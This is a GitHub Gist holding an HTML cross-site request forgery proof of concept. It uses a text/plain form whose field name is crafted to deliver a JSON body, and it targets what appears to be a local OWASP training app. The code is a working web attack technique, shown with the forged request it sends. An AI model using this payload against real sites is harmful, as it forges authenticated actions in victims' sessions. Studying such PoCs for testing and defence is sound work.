Created
August 7, 2019 23:07
-
-
Save jakekarnes42/d5ffcfc2ca0bf4c6044ffd3b3a531669 to your computer and use it in GitHub Desktop.
CSRF PoC HTML for POSTing JSON values
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- | |
PoC only. Useful for CSRF involving JSON values. Must actually click button to submit. | |
Submits a request that looks like the following: | |
POST /oneliner/ws/vulnerable/oneliners HTTP/1.1 | |
Host: local.1-liner.org | |
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Content-Type: text/plain | |
Content-Length: 93 | |
Cookie: JSESSIONID=15jdjvlat4d7n18f9fm9g4bnms; nickNameVulnerable=John | |
Connection: close | |
Upgrade-Insecure-Requests: 1 | |
{"id": 0, "nickName": "John", "oneLiner": "I love OWASP!", "timestamp": "20111006"}//=dummy | |
--> | |
<html> | |
<body> | |
<form id="target" enctype="text/plain" method="POST" action="http://local.1-liner.org/oneliner/ws/vulnerable/oneliners" > | |
<input type="text" name='{"id": 0, "nickName": "John", "oneLiner": "I love OWASP!", "timestamp": "20111006"}//' value="dummy" /> | |
<input type="submit" value="Go" /> | |
</form> | |
</body> | |
<html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment